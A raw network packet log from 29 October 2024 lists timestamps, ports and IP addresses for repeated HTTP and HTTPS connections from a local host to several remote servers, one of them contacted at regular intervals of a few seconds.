Oct 29, 2024 13:10:58.334932089 CET	80	60741	64.233.166.82	192.168.2.5
Oct 29, 2024 13:10:58.335033894 CET	60741	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:58.335033894 CET	60741	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:58.335808039 CET	60741	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:58.335808039 CET	60741	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:10:58.593700886 CET	60742	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:58.599328041 CET	80	60742	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:58.599576950 CET	60742	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:58.599807024 CET	60742	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:58.605282068 CET	80	60742	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:59.529417038 CET	80	60742	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:59.529509068 CET	60742	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:59.529622078 CET	80	60742	108.177.15.82	192.168.2.5
Oct 29, 2024 13:10:59.529668093 CET	60742	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:59.529911995 CET	60742	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:59.529988050 CET	60742	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:10:59.772567987 CET	60743	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:59.778104067 CET	80	60743	142.251.168.82	192.168.2.5
Oct 29, 2024 13:10:59.778192997 CET	60743	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:59.778623104 CET	60743	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:10:59.784025908 CET	80	60743	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:00.710582018 CET	80	60743	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:00.710608006 CET	80	60743	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:00.711236000 CET	60743	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:00.711535931 CET	60743	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:00.711535931 CET	60743	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:01.591367960 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:01.597001076 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:01.776515961 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:01.776648045 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:01.781091928 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:01.781119108 CET	443	60744	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:01.781183004 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:01.781471014 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:01.781481028 CET	443	60744	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:02.525470018 CET	443	60744	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:02.531380892 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:02.581842899 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:02.581864119 CET	443	60744	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:02.582201004 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:02.582206964 CET	443	60744	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:02.765547991 CET	443	60744	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:02.765599012 CET	443	60744	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:02.767302036 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:02.782860994 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:02.782872915 CET	443	60744	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:02.782922983 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:02.783143044 CET	60744	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:03.241133928 CET	60745	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:03.246908903 CET	80	60745	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:03.247042894 CET	60745	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:03.247184038 CET	60745	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:03.252676964 CET	80	60745	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:04.177339077 CET	80	60745	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:04.177386045 CET	80	60745	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:04.177515030 CET	60745	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:04.177819967 CET	60745	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:04.177820921 CET	60745	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:04.389309883 CET	60746	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:04.395569086 CET	80	60746	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:04.395668983 CET	60746	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:04.395920038 CET	60746	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:04.401782036 CET	80	60746	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:05.328668118 CET	80	60746	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:05.328804970 CET	60746	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:05.329246044 CET	80	60746	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:05.329312086 CET	60746	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:05.487814903 CET	60746	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:05.490789890 CET	60746	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:05.493813038 CET	80	60746	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:05.493896961 CET	60746	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:05.905100107 CET	60747	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:05.910573006 CET	80	60747	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:05.913258076 CET	60747	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:05.917105913 CET	60747	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:05.922470093 CET	80	60747	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:06.844583988 CET	80	60747	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:06.844629049 CET	80	60747	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:06.844697952 CET	60747	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:06.844697952 CET	60747	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:06.845067978 CET	60747	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:06.845092058 CET	60747	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:07.484380960 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:07.491014957 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:07.666384935 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:07.666471958 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:07.670603037 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:07.670670033 CET	443	60748	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:07.670727015 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:07.671040058 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:07.671056986 CET	443	60748	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:08.384964943 CET	443	60748	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:08.385066032 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:08.385596991 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:08.385608912 CET	443	60748	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:08.385937929 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:08.385943890 CET	443	60748	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:08.570055008 CET	443	60748	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:08.570096970 CET	443	60748	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:08.570229053 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:08.570297003 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:08.570297003 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:08.570314884 CET	443	60748	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:08.571316957 CET	60748	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:08.826150894 CET	60749	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:08.831702948 CET	80	60749	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:08.831969976 CET	60749	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:08.832148075 CET	60749	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:08.837527990 CET	80	60749	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:09.754590034 CET	80	60749	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:09.754663944 CET	60749	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:09.755464077 CET	80	60749	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:09.755517006 CET	60749	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:09.771356106 CET	60749	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:09.771356106 CET	60749	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:09.777154922 CET	80	60749	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:09.777204990 CET	60749	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:09.967223883 CET	60750	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:09.972649097 CET	80	60750	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:09.972781897 CET	60750	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:09.973119020 CET	60750	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:09.978451014 CET	80	60750	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:10.897157907 CET	80	60750	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:10.897182941 CET	80	60750	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:10.897245884 CET	60750	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:10.897347927 CET	60750	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:10.898386955 CET	60750	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:10.898457050 CET	60750	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:11.218813896 CET	60751	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:11.224912882 CET	80	60751	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:11.224992990 CET	60751	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:11.227988958 CET	60751	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:11.233505011 CET	80	60751	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:12.140789986 CET	80	60751	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:12.140899897 CET	80	60751	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:12.143306971 CET	60751	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:12.147414923 CET	60751	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:12.147583008 CET	60751	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:13.062494040 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:13.067905903 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:13.243863106 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:13.243927956 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:13.247767925 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:13.247813940 CET	443	60752	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:13.247875929 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:13.248234034 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:13.248256922 CET	443	60752	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:13.989849091 CET	443	60752	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:13.993236065 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:13.993846893 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:13.993848085 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:13.993901014 CET	443	60752	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:13.993941069 CET	443	60752	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:14.178621054 CET	443	60752	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:14.178668022 CET	443	60752	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:14.178714037 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:14.178881884 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:14.178881884 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:14.179791927 CET	60752	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:14.421247959 CET	60753	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:14.426819086 CET	80	60753	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:14.426939011 CET	60753	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:14.427118063 CET	60753	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:14.432764053 CET	80	60753	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:15.353041887 CET	80	60753	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:15.353104115 CET	80	60753	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:15.353152990 CET	60753	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:15.353234053 CET	60753	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:15.458607912 CET	60753	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:15.458642006 CET	60753	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:15.732705116 CET	60754	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:15.739525080 CET	80	60754	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:15.739594936 CET	60754	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:15.739763021 CET	60754	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:15.746254921 CET	80	60754	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:16.661036015 CET	80	60754	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:16.661093950 CET	80	60754	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:16.661132097 CET	60754	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:16.661443949 CET	60754	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:16.662169933 CET	60754	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:16.662214994 CET	60754	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:16.875993013 CET	60755	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:16.882255077 CET	80	60755	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:16.882426023 CET	60755	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:16.882730007 CET	60755	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:16.888079882 CET	80	60755	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:17.794800997 CET	80	60755	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:17.794851065 CET	80	60755	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:17.794861078 CET	60755	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:17.794903994 CET	60755	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:17.795665979 CET	60755	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:17.795698881 CET	60755	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:18.611125946 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:18.617850065 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:18.790410995 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:18.790504932 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:18.800268888 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:18.800374031 CET	443	60756	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:18.800497055 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:18.800901890 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:18.800936937 CET	443	60756	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:19.519742012 CET	443	60756	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:19.519814014 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:19.520513058 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:19.520534039 CET	443	60756	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:19.520802975 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:19.520814896 CET	443	60756	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:19.701919079 CET	443	60756	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:19.701973915 CET	443	60756	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:19.701988935 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:19.702037096 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:19.702101946 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:19.702142000 CET	443	60756	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:19.702167988 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:19.702199936 CET	60756	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:19.921124935 CET	60757	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:19.926587105 CET	80	60757	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:19.929249048 CET	60757	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:19.933119059 CET	60757	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:19.938889980 CET	80	60757	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:20.868052006 CET	80	60757	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:20.868093014 CET	80	60757	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:20.868218899 CET	60757	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:20.894671917 CET	60757	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:20.894671917 CET	60757	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:21.390400887 CET	60758	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:21.395971060 CET	80	60758	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:21.396051884 CET	60758	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:21.396215916 CET	60758	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:21.401618004 CET	80	60758	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:22.325752020 CET	80	60758	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:22.325773001 CET	80	60758	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:22.325865984 CET	60758	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:22.325865984 CET	60758	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:22.326930046 CET	60758	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:22.326930046 CET	60758	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:22.532676935 CET	60759	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:22.538398981 CET	80	60759	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:22.538503885 CET	60759	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:22.538681984 CET	60759	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:22.544055939 CET	80	60759	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:23.459913969 CET	80	60759	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:23.459943056 CET	80	60759	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:23.459979057 CET	60759	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:23.460009098 CET	60759	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:23.469082117 CET	60759	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:23.469118118 CET	60759	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:24.206197977 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:24.212613106 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:24.386756897 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:24.386847019 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:24.394438028 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:24.394512892 CET	443	60760	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:24.394639015 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:24.395042896 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:24.395076036 CET	443	60760	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:25.123924017 CET	443	60760	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:25.124099970 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:25.127398014 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:25.127428055 CET	443	60760	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:25.127830029 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:25.127844095 CET	443	60760	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:25.313090086 CET	443	60760	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:25.313149929 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:25.313175917 CET	443	60760	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:25.313230038 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:25.313378096 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:25.313402891 CET	443	60760	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:25.313416004 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:25.313465118 CET	60760	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:25.583875895 CET	60761	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:25.589850903 CET	80	60761	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:25.589956999 CET	60761	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:25.596879005 CET	60761	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:25.602617025 CET	80	60761	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:26.520221949 CET	80	60761	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:26.520239115 CET	80	60761	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:26.520318031 CET	60761	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:26.520318031 CET	60761	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:26.521696091 CET	60761	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:26.521696091 CET	60761	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:26.718148947 CET	60762	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:26.878520012 CET	80	60762	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:26.878705978 CET	60762	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:26.879194021 CET	60762	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:26.885564089 CET	80	60762	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:27.826965094 CET	80	60762	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:27.827020884 CET	80	60762	108.177.15.82	192.168.2.5
Oct 29, 2024 13:11:27.827050924 CET	60762	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:27.827145100 CET	60762	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:27.827697992 CET	60762	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:27.827697992 CET	60762	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:28.062432051 CET	60763	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:28.067856073 CET	80	60763	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:28.068274021 CET	60763	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:28.068451881 CET	60763	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:28.074239016 CET	80	60763	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:28.981082916 CET	80	60763	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:28.981168985 CET	60763	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:28.981250048 CET	80	60763	142.251.168.82	192.168.2.5
Oct 29, 2024 13:11:28.981297970 CET	60763	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:28.981729031 CET	60763	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:28.981759071 CET	60763	80	192.168.2.5	142.251.168.82
Oct 29, 2024 13:11:29.861740112 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:29.867477894 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.041160107 CET	80	60479	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.041357994 CET	60479	80	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.050219059 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.050267935 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.050431967 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.050786018 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.050792933 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.768560886 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.768656969 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.769227982 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.769232035 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.769581079 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.769583941 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.954147100 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.954195023 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.954274893 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.954313040 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.954327106 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.954360962 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.954845905 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.954854012 CET	443	60764	51.81.194.202	192.168.2.5
Oct 29, 2024 13:11:30.954871893 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:30.954900980 CET	60764	443	192.168.2.5	51.81.194.202
Oct 29, 2024 13:11:31.359744072 CET	60765	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:31.365132093 CET	80	60765	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:31.365196943 CET	60765	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:31.365390062 CET	60765	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:31.370639086 CET	80	60765	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:32.297209024 CET	80	60765	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:32.297271013 CET	80	60765	64.233.166.82	192.168.2.5
Oct 29, 2024 13:11:32.301522970 CET	60765	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:32.301671028 CET	60765	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:32.301671028 CET	60765	80	192.168.2.5	64.233.166.82
Oct 29, 2024 13:11:32.515069962 CET	60766	80	192.168.2.5	108.177.15.82
Oct 29, 2024 13:11:32.520529032 CET	80	60766	108.177.15.82	192.168.2.5
